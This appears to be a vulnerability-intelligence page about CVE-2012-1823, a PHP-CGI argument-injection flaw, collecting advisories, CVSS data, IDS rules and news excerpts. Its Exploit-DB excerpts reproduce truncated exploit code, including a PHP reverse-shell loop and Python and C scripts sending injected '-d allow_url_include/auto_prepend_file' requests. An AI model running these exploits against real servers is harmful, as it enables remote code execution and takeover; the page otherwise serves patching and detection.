CVE-2012-1823
published 2012-05-11CVE-2012-1823: sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that…
PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
100.00%
100.0th percentile
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
Affected
139 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | mac_os_x | >= 10.6.8 < 10.7.5 | 10.7.5 |
| apple | mac_os_x | >= 10.8.0 < 10.8.2 | 10.8.2 |
| debian | debian_linux | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| opensuse | opensuse | — | — |
| opensuse | opensuse | — | — |
| parallels | parallels_plesk_panel | — | — |
| parallels | parallels_plesk_panel | — | — |
| parallels | parallels_small_business_panel | — | — |
| php | php | < 5.3.12 | 5.3.12 |
| php | php | <= 5.3.12 | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
| php | php | — | — |
Detection & IOCsextracted from sources · hover to see the quote
snort↗
SID 22063
snort↗
SID 22064
snort↗
SID 22097
- →Detect query strings lacking an '=' character passed to php-cgi, which allows command-line options to be injected. The '-s' flag causes source code disclosure; the '-d' flag combined with 'auto_prepend_file' enables remote code execution. ↗
- →CVE-2012-1823 exploitation involves query strings that lack an '=' character, allowing command-line options to be injected into the PHP binary. Monitor HTTP requests to php-cgi endpoints where the query string contains flags like '-s' or '-d' without an equals sign. ↗
- →Active exploitation of CVE-2012-1823 is observed in cryptomining campaigns. Monitor for automated scanning and exploitation attempts against PHP CGI endpoints, particularly from cloud provider IP ranges (Cloudflare, DigitalOcean, Google, Contabo). ↗
- ·The vulnerability only affects PHP when configured to run in CGI mode (php-cgi). Default non-CGI PHP deployments are not affected. ↗
- ·Snort SID 22097 is disabled in all default policies due to performance considerations and must be manually enabled for known-vulnerable installations. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulnCheck
PHP-CGI OS Command Injection Vulnerability
vulncheck·2024·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 PHP-CGI OS Command Injection Vulnerability
PHP-CGI OS Command Injection Vulnerability
PHP, specifically Windows-based PHP used in CGI mode, contains an OS command injection vulnerability that allows for arbitrary code execution. This vulnerability is a patch bypass for CVE-2012-1823.
Affected: PHP Group PHP
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.imperva.com/blog/imperva-protects-against-critical-php-vulnerability-cve-2024-4577/; https://x.com/Shadowserver/status/1799053497490698548; https://infosec.exchange/@ntkramer/112582375921224782; https://api.vulncheck.com/v3/index/sans-dshield?cve=CVE-2024-4577; https://isc.sans.edu/diary/Attacker%20Probing%20for%20New%20PHP%20Vu
GHSA
GHSA-cv88-cpw9-39c6: The default configuration of Parallels Plesk Panel 9
ghsa_unreviewed·2022-05-17·CVSS 9.8
CVE-2013-4878 [CRITICAL] GHSA-cv88-cpw9-39c6: The default configuration of Parallels Plesk Panel 9
The default configuration of Parallels Plesk Panel 9.0.x and 9.2.x on UNIX, and Small Business Panel 10.x on UNIX, has an improper ScriptAlias directive for phppath, which makes it easier for remote attackers to execute arbitrary code via a crafted request, a different vulnerability than CVE-2012-1823.
GHSA
GHSA-3p37-hv77-x3rp: sapi/cgi/cgi_main
ghsa_unreviewed·2022-05-14
CVE-2012-1823 [HIGH] CWE-20 GHSA-3p37-hv77-x3rp: sapi/cgi/cgi_main
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
GHSA
GHSA-9c8w-rvgj-w489: sapi/cgi/cgi_main
ghsa_unreviewed·2022-05-14·CVSS 9.8
CVE-2012-2311 [CRITICAL] CWE-89 GHSA-9c8w-rvgj-w489: sapi/cgi/cgi_main
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that contain a %3D sequence but no = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
GHSA
GHSA-gjrg-p28q-p9w2: sapi/cgi/cgi_main
ghsa_unreviewed·2022-05-14·CVSS 9.8
CVE-2012-2336 [CRITICAL] CWE-20 GHSA-gjrg-p28q-p9w2: sapi/cgi/cgi_main
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to cause a denial of service (resource consumption) by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'T' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
VulnCheck
Parallels Plesk Panel and Small Business Panel ScriptAlias Directive Vulnerability
vulncheck·2013·CVSS 9.8
CVE-2013-4878 [CRITICAL] Parallels Plesk Panel and Small Business Panel ScriptAlias Directive Vulnerability
Parallels Plesk Panel and Small Business Panel ScriptAlias Directive Vulnerability
The default configuration of Parallels Plesk Panel 9.0.x and 9.2.x on UNIX, and Small Business Panel 10.x on UNIX, has an improper ScriptAlias directive for phppath, which makes it easier for remote attackers to execute arbitrary code via a crafted request, a different vulnerability than CVE-2012-1823.
Affected: parallels parallels_plesk_panel
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://blogs.cisco.com/security/plesk-0-day-targets-web-servers; https://blog.sucuri.net/2013/06/plesk-vulnerability-in-the-wild-for-months-before-disclosure.html; https://www.bleepingc
VulnCheck
PHP PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
vulncheck·2012·CVSS 9.8
CVE-2012-2311 [CRITICAL] PHP PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
PHP PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that contain a %3D sequence but no = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
Affected: PHP PHP
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://blog.sucuri.net/2012/05/php
VulnCheck
PHP PHP Improper Input Validation
vulncheck·2012·CVSS 9.8
CVE-2012-2336 [CRITICAL] PHP PHP Improper Input Validation
PHP PHP Improper Input Validation
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to cause a denial of service (resource consumption) by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'T' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
Affected: PHP PHP
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.bleepingcomputer.com/news/security/linux-and-windows-servers-targeted-with-rub
VulnCheck
PHP-CGI Query String Parameter Vulnerability
vulncheck·2012·CVSS 9.8
CVE-2012-1823 [CRITICAL] CWE-20 PHP-CGI Query String Parameter Vulnerability
PHP-CGI Query String Parameter Vulnerability
sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code.
Affected: PHP PHP
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.fortiguard.com/encyclopedia/ips/31752; https://www.bleepingcomputer.com/news/security/linux-and-windows-servers-targeted-with-rubyminer-malware/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/2024_Trustwave_Public_Sector_Threat_Landscape.pdf; https://censys.com/cve-2024-4577/; https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/2024_Trustwave_Professional_Services_Sector_Threa
CISA
PHP-CGI OS Command Injection Vulnerability
cisa·2024-06-12·CVSS 9.8
CVE-2024-4577 [CRITICAL] CWE-78 PHP-CGI OS Command Injection Vulnerability
Vulnerability: PHP-CGI OS Command Injection Vulnerability
Affected: PHP Group PHP
PHP, specifically Windows-based PHP used in CGI mode, contains an OS command injection vulnerability that allows for arbitrary code execution. This vulnerability is a patch bypass for CVE-2012-1823.
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://www.php.net/ChangeLog-8.php#; https://nvd.nist.gov/vuln/detail/CVE-2024-4577
Remediation Due Date: 2024-07-03
CISA
PHP-CGI Query String Parameter Vulnerability
cisa·2022-03-25·CVSS 9.8
CVE-2012-1823 [CRITICAL] CWE-20 PHP-CGI Query String Parameter Vulnerability
Vulnerability: PHP-CGI Query String Parameter Vulnerability
Affected: PHP PHP
sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2012-1823
Remediation Due Date: 2022-04-15
Ubuntu
PHP vulnerability
vendor_ubuntu·2012-05-04·CVSS 7.5
CVE-2012-1823 [HIGH] PHP vulnerability
Title: PHP vulnerability
Summary: Standalone PHP CGI scripts could be made to execute arbitrary code with
the privilege of the web server.
It was discovered that PHP, when used as a stand alone CGI processor
for the Apache Web Server, did not properly parse and filter query
strings. This could allow a remote attacker to execute arbitrary code
running with the privilege of the web server. Configurations using
mod_php5 and FastCGI were not vulnerable.
This update addresses the issue when the PHP CGI interpreter
is configured using mod_cgi and mod_actions as described in
/usr/share/doc/php5-cgi/README.Debian.gz; however, if an alternate
configuration is used to enable PHP CGI processing, it should be
reviewed to ensure that command line arguments cannot be passed to
the PHP interpreter. Pl
Red Hat
php: command line arguments injection when run in CGI mode (VU#520827)
vendor_redhat·2012-05-03·CVSS 9.8
CVE-2012-1823 [CRITICAL] php: command line arguments injection when run in CGI mode (VU#520827)
php: command line arguments injection when run in CGI mode (VU#520827)
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
Statement: This flaw did not affect the versions of PHP in Red Hat Enterprise Linux 3 or 4. Updates were released for Red Hat Enterprise Linux 5 and 6 (RHSA-2012:0546, RHSA-2012:0547), Red Hat Enterprise Linux 5.3 Long Life (RHSA-2012:0568), Red Hat Enterprise Linux 5.6, 6.0, and 6.1 Extended Update Support (RHSA-2012:0568, RHSA-2012:0569), and Red Hat Appli
Red Hat
php: incomplete CVE-2012-1823 fix - incorrect check for =
vendor_redhat·2012-05-03·CVSS 9.8
CVE-2012-2311 [CRITICAL] php: incomplete CVE-2012-1823 fix - incorrect check for =
php: incomplete CVE-2012-1823 fix - incorrect check for =
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that contain a %3D sequence but no = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
Statement: Not vulnerable. Red Hat did not release PHP package updates addressing CVE-2012-1823 that introduce the CVE-2012-2311 issue. Therefore, this CVE does not affect any Red Hat products.
Package: php (Red Hat Enterprise Linux 4) - Not affected
Package: php (Red
Red Hat
php: incomplete CVE-2012-1823 fix - insecure wrapper
vendor_redhat·2012-05-03·CVSS 9.8
CVE-2012-2335 [CRITICAL] php: incomplete CVE-2012-1823 fix - insecure wrapper
php: incomplete CVE-2012-1823 fix - insecure wrapper
php-wrapper.fcgi does not properly handle command-line arguments, which allows remote attackers to bypass a protection mechanism in PHP 5.3.12 and 5.4.2 and execute arbitrary code by leveraging improper interaction between the PHP sapi/cgi/cgi_main.c component and a query string beginning with a +- sequence.
Statement: The mitigation for CVE-2012-2335 is included in the following PHP updates for Red Hat Enterprise Linux 5 and 6, which also address CVE-2012-2336 (BZ#820708):
https://rhn.redhat.com/errata/RHSA-2012-1045.html
https://rhn.redhat.com/errata/RHSA-2012-1046.html
https://rhn.redhat.com/errata/RHSA-2012-1047.html
Package: php (Red Hat Enterprise Linux 4) - Not affected
Package: php (Red Hat Enterprise Linux 5) - Affected
Pac
Red Hat
php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
vendor_redhat·2012-05-03·CVSS 9.8
CVE-2012-2336 [CRITICAL] CWE-228 php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
sapi/cgi/cgi_main.c in PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to cause a denial of service (resource consumption) by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'T' case. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1823.
Package: php (Red Hat Enterprise Linux 4) - Not affected
Suricata
ET WEB_SERVER PHP.//Input in HTTP POST
suricata·2014-11-25
CVE-2012-1823 ET WEB_SERVER PHP.//Input in HTTP POST
ET WEB_SERVER PHP.//Input in HTTP POST
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER PHP.//Input in HTTP POST"; flow:established,to_server; http.method; content:"POST"; http.uri.raw; content:"php|3a 2f 2f|input"; fast_pattern; http.request_body; content:"<?"; startswith; reference:url,www.deependresearch.org/2014/07/another-linux-ddos-bot-via-cve-2012-1823.html; classtype:trojan-activity; sid:2019804; rev:5; metadata:created_at 2014_11_25, signature_severity Major, updated_at 2024_04_12;)
Suricata
ET MALWARE Bossabot DDoS tool RFI attempt
suricata·2014-09-22·CVSS 9.8
CVE-2012-1823 [CRITICAL] ET MALWARE Bossabot DDoS tool RFI attempt
ET MALWARE Bossabot DDoS tool RFI attempt
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET MALWARE Bossabot DDoS tool RFI attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"php?-d|20|allow_url"; fast_pattern; content:"auto_prepend_file|3d|php|3a 2f|"; http.request_body; content:"<?php|0d 0a|"; startswith; reference:url,www.kernelmode.info/forum/viewtopic.php?f=16&t=3476&p=23965#p23965; reference:url,cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823; classtype:trojan-activity; sid:2019212; rev:5; metadata:created_at 2014_09_22, signature_severity Major, tag CISA_KEV, updated_at 2024_04_13;)
Suricata
ET EXPLOIT Zollard PHP Exploit UA Outbound
suricata·2013-12-10
CVE-2012-1823 ET EXPLOIT Zollard PHP Exploit UA Outbound
ET EXPLOIT Zollard PHP Exploit UA Outbound
Rule: alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET EXPLOIT Zollard PHP Exploit UA Outbound"; flow:established,to_server; http.user_agent; content:"Zollard"; nocase; fast_pattern; reference:cve,2012-1823; reference:url,blogs.cisco.com/security/the-internet-of-everything-including-malware/; classtype:trojan-activity; sid:2017825; rev:6; metadata:created_at 2013_12_10, cve CVE_2012_1823, signature_severity Major, updated_at 2020_11_19;)
Exploit-DB
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
exploitdb·2013-10-31
CVE-2012-2336 Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache + PHP array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");while (1) {
if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);}if (in_array($pipes[1], $r
Exploit-DB
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
exploitdb·2013-10-29·CVSS 9.8
CVE-2012-2336 [CRITICAL] Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
Apache + PHP
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef struct {
int sockfd;
SSL *handle;
SSL_CTX *ctx;
} connection;
void usage(char *argv[])
{
printf("usage: %s " \
" [--force-interpreter interpreter]\n",
argv[0]);
exit(1);
}
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
"%%6F%%5F%
Exploit-DB
PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
exploitdb·2012-05-05
CVE-2012-2336 PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
PHP """
post_Length = len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
""" %(HOST , post_Length ,pwn_code)
print http_raw
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data = sock.recv(10000)
print repr(data)
sock.close()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
if __name__ == '__main__':
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
cgi_exploit()
except IndexError:
print '[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
Exploit-DB
PHP 5.3.12/5.4.2 - CGI Argument Injection (Metasploit)
exploitdb·2012-05-04
CVE-2012-2336 PHP 5.3.12/5.4.2 - CGI Argument Injection (Metasploit)
PHP 5.3.12/5.4.2 - CGI Argument Injection (Metasploit)
---
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (th
Metasploit
PHP CGI Argument Injection
metasploit
PHP CGI Argument Injection
PHP CGI Argument Injection
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013.
Nuclei
PHP CGI v5.3.12/5.4.2 Remote Code Execution
nuclei·CVSS 9.8
CVE-2012-1823 [CRITICAL] PHP CGI v5.3.12/5.4.2 Remote Code Execution
PHP CGI v5.3.12/5.4.2 Remote Code Execution
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
Template:
id: CVE-2012-1823
info:
name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
author: pikpikcu
severity: high
description: |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by plac
Greynoiseio
PHP Cryptomining Campaign: October/November 2025
blogs_greynoiseio·2025-11-04·CVSS 9.8
[CRITICAL] PHP Cryptomining Campaign: October/November 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Bleepingcomputer
Hackers use PHP exploit to backdoor Windows systems with new malware
blogs_bleepingcomputer·2024-08-20·CVSS 9.8
CVE-2024-4577 [CRITICAL] Hackers use PHP exploit to backdoor Windows systems with new malware
## Hackers use PHP exploit to backdoor Windows systems with new malware
## Sergiu Gatlan
Unknown attackers have deployed a newly discovered backdoor dubbed Msupedge on a university's Windows systems in Taiwan, likely by exploiting a recently patched PHP remote code execution vulnerability (CVE-2024-4577).
CVE-2024-4577 is a critical PHP-CGI argument injection flaw patched in June that impacts PHP installations running on Windows systems with PHP running in CGI mode. It allows unauthenticated attackers to execute arbitrary code and leads to complete system compromise following successful exploitation.
The threat actors dropped the malware as two dynamic link libraries (weblog.dll and wmiclnt.dll), the former loaded by the httpd.exe Apache process.
Msupedge's most noteworthy feature is
Wiz
CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
blogs_wiz·2024-06-10·CVSS 9.8
CVE-2024-4577 [CRITICAL] CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
Researchers discovered a critical remote code execution vulnerability in PHP CGI, assigned CVE-2024-4577, affecting all Windows versions of PHP CGI. This vulnerability allows unauthenticated attackers to execute arbitrary code on remote servers via argument injection, bypassing previous protections. A patch was released on June 6, 2024, and users are strongly advised to update to the latest PHP versions or apply temporary mitigations.
June 16 update:
The TellYouThePass ransomware gang has been exploiting the recently patched vulnerability (CVE-2024-4577) in PHP to deploy webshells and execute their encryptor payload on target systems. Attacks started on June 8, just after the release of security updates, using publicly available exploit code. Known for exploiting widely impactful vulnera
Checkpoint
10th June – Threat Intelligence Report
blogs_checkpoint·2024-06-10
CVE-2024-4577 10th June – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 10th June – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 10th June, please download our Threat_Intelligence Bulletin .
TOP ATTACKS AND BREACHES
Pathology services provider Synnovis has experienced a ransomware attack that affected procedures and operations in several major hospitals in London, including the Department of Health and Social Care, NHS Qilin (formerly Agenda) ransomware gang claimed responsibility for the attack.
Check Point Threat Emulation provides prot
Wiz
CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
blogs_wiz·2024-06-10·CVSS 9.8
CVE-2024-4577 [CRITICAL] CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
Researchers discovered a critical remote code execution vulnerability in PHP CGI, assigned CVE-2024-4577, affecting all Windows versions of PHP CGI. This vulnerability allows unauthenticated attackers to execute arbitrary code on remote servers via argument injection, bypassing previous protections. A patch was released on June 6, 2024, and users are strongly advised to update to the latest PHP versions or apply temporary mitigations.
June 16 update:
The TellYouThePass ransomware gang has been exploiting the recently patched vulnerability (CVE-2024-4577) in PHP to deploy webshells and execute their encryptor payload on target systems. Attacks started on June 8, just after the release of security updates, using publicly available exploit code. Known for exploiting widely impactful vulnera
Tenable
CVE-2024-4577: Proof of Concept Available for PHP-CGI Argument Injection Vulnerability
blogs_tenable·2024-06-07·CVSS 9.8
[CRITICAL] CVE-2024-4577: Proof of Concept Available for PHP-CGI Argument Injection Vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bleepingcomputer
PHP fixes critical RCE flaw impacting all versions for Windows
blogs_bleepingcomputer·2024-06-07·CVSS 9.8
[CRITICAL] PHP fixes critical RCE flaw impacting all versions for Windows
## PHP fixes critical RCE flaw impacting all versions for Windows
## Bill Toulas
The PHP project maintainers released a patch yesterday, addressing the vulnerability.
However, the application of security updates on a project with such a large-scale deployment is complicated and could potentially leave a significant number of systems vulnerable to attacks for extended periods.
Unfortunately, when a critical vulnerability impacting many devices is disclosed, threat actors and researchers immediately begin attempting to find vulnerable systems.
Such is the case with CVE-2024-4577, as The Shadowserver Foundation has already detected multiple IP addresses scanning for vulnerable servers.
## The CVE-2024-4577 flaw
The CVE-2024-4577 flaw is caused by an oversight in handling character enco
Unit42
Network Attack Trends: Internet of Threats (August-October 2020)
blogs_unit42·2021-01-22·CVSS 9.8
CVE-2012-2311 [CRITICAL] Network Attack Trends: Internet of Threats (August-October 2020)
Threat Research Center
Trend Reports
Vulnerabilities
## Network Attack Trends: Internet of Threats (August-October 2020)
Yue Guan
Lei Xu
Ken Hsu
Zhibin Zhang
Published: January 22, 2021
Malware
Trend Reports
Vulnerabilities
DDoS
Exploits
IoT
Network security trends
## Executive Summary
Unit 42 researchers observed interesting attack trends from August-October 2020. Despite a surge in scanner activities and HTTP directory traversal exploitation attempts, CVE-2012-2311 and CVE-2012-1823 , which were the most commonly exploited vulnerabilities in the wild in early summer 2020 , are no longer at the top of that list. Several new critical exploits, including but not limited to CVE-2020-17496 and CVE-2020-25213 , have emerged and were being utilized at a constant and concern
Unit42
Network Attack Trends: Internet of Threats (August-October 2020)
blogs_unit42·2021-01-22·CVSS 9.8
CVE-2012-2311 [CRITICAL] Network Attack Trends: Internet of Threats (August-October 2020)
## Executive Summary
Unit 42 researchers observed interesting attack trends from August-October 2020. Despite a surge in scanner activities and HTTP directory traversal exploitation attempts, CVE-2012-2311 and CVE-2012-1823, which were the most commonly exploited vulnerabilities in the wild in early summer 2020, are no longer at the top of that list. Several new critical exploits, including but not limited to CVE-2020-17496 and CVE-2020-25213, have emerged and were being utilized at a constant and concerning rate as of fall 2020. To complicate matters, malicious actors are well aware that new exploits aren’t always needed to get the job done. Based on observations of malicious traffic for the designated three months, weaponized ThinkPHP vulnerabilities like CVE-2018-20062 and CVE-2019-908
Unit42
Network Attack Trends: Attackers Leveraging High Severity and Critical Exploits (May-July 2020)
blogs_unit42·2020-09-15·CVSS 9.8
CVE-2021-24074 [CRITICAL] Network Attack Trends: Attackers Leveraging High Severity and Critical Exploits (May-July 2020)
Threat Research Center
Trend Reports
Vulnerabilities
## Network Attack Trends: Attackers Leveraging High Severity and Critical Exploits (May-July 2020)
Brock Mammen
Yue Guan
Yu Fu
Published: September 15, 2020
Trend Reports
Vulnerabilities
CVE-2021-24074
CVE-2021-24086
CVE-2021-24094
Microsoft
Windows
## Executive Summary
